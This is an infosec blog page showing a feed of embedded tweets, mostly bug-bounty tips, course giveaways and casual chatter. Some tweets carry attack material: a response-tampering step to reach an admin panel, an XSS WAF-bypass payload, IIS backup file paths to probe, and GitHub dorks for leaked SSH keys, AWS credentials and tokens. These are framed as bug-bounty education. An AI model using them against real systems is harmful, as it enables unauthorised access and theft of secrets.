0x221B

Various infosec ramblings from the UK.

[0x221B @0x221B]

Been slowly transferring my blog to github. Not there yet but I like how it’s coming along https://t.co/AadyKPGpr3

[Kanhaiya Sharma @krishnsec]

#Easy #P1 #bugbountytips #bugbountytip #bugbounty
Bug- Admin Panel Access
Steps
1- Visit login panel
2- Enter username= admin and random password
3- click login & capture in burp
4- Do intercept
5- Update {"status":"0"} to
{"status":"1","user_type":"admin"}
6- Admin console :)

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

#bugbountytip Broad scope target:
1) Subdomain enum
2) httprobe
3) subdomain flyover
4) Nuclei (develop your own templates as well)
5) Portscan

Now pay attention
1/4

[Bellingcat @bellingcat]

@ForensicArchi @cerosetenta @BaudoAP Bellingcat y sus socios utilizaron imágenes inéditas de una cámara de seguridad que fueron compartidas por la Comisión de la Verdad de Colombia.

Esto nos permitió reconstruir el incidente.

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

20 000 AMAZING HACKERS 😍😍😍🧀🧀🧀 sooooo much cheese!!! I can not let this go unnoticed <3 <3 <3

I am an XSS Rat! So here you guy ladies and gentleman, some free XSS cheese for you for the next 4 hours:
https://t.co/iadGenrivt

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

For you morning people ;) i know you all in that different timezone want a chance as well! More FREE COURSES :D <3 Whoop, last giveaway for 20k guys. it was a blast! Thank you all so much and let's move onward to 200k!! <3
https://t.co/1d8YdVDgWx

[0x221B @0x221B]

@TheBioneer You had me in the first half. I was thinking he definitely does more than this and then saw the incidental bit. Would be really interesting if you could post every bit of training you do in a day for like a week as an example.

[0x221B @0x221B]

@signalapp got my first spam message on signal today so I guess you’re mainstream now 😂

[0x221B @0x221B]

@TheBioneer It’s gonna be awesome!

[Ali @darkyfy]

Password Reset Vulnerabilities:)

#bugbounty #bugbountytips

[Cyber Threat Hub @CyberThreatHub]

(CloudFail - Information Gathering to Discover Identity of the Server Behind Cloudflare) - https://t.co/2zIIJ8OYDJ #infosec #netsec #pentest #cybersecurity #bugbounty

[0x221B @0x221B]

@TheBioneer Swap it for beer maybe? That probably makes things worse. Brits can always drink tea!

[Tony @TJ_Null]

Today I have updated my list of VM's for preparing for PWK/OSCP. I have also included a new list of VM's from @offsectraining Proving Grounds Practice Environment!

Here is a link to the new list😁: https://t.co/GNkjd4e9IZ

[0xmru 🇮🇳 @mrunal110]

whenever you see : )
Server: Microsoft-IIS/6.X
X-Powered-By: https://t.co/e3SGShDl80
Always try this .....

/admin/help.cgi
/admin/help.cgi.bak
/admin/WS_FTP.LOG
/adovbs.inc
/confirm.asp.bak
/default.asp.bak
/login.asp.bak

#bugbountytips

[XSS Payloads @XssPayloads]

Bypass WAF 500 unauthorized access, nice finding by Caesar Evan Santoso
https://t.co/IohWfUsIcl

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

#BugBountyTips i created this XSS cheat sheet for you guys <3

[Shawar Khan @ShawarkOFFICIAL]

XSS WAF Bypass:
Reflection in JS context, single quote allowed.

<, > ==> REMOVED
'-anything()-' ==> '-anything-'
'-alert()-' ==> REMOVED
'-setTimeout``-' = allowed

Final Payload:
'-setTimeout`prompt\u0028document.domain\u0029`-'

[Muhammad Julfikar Hyder🇵🇸 @thejulfikar]

Sql Injection Dorks

#cybersecurity #infosec #ethicalhacking #bugbounty #bugbountytips #bugbountytip

[Farhan @FaniMalikHack]

GitHub Recon with GitHub Dorks!

filename:id_rsa
filename:.npmrc _auth
filename:id_dsa
filename:wp-config.php
filename:.htpasswd
filename:.sh_history
filename:sshd_config
filename:dhcpd.conf
filename:credentials aws_access_key_idfilename:hub oauth_token

#bugbounty #infosec

[0x221B @0x221B]

How to Learn to Code (With Accelerated Learning Techniques) https://t.co/x0G4ujsVl5 been doing the @TheBioneer amazing fitness stuff recently but here is a great vid from him on learning to code.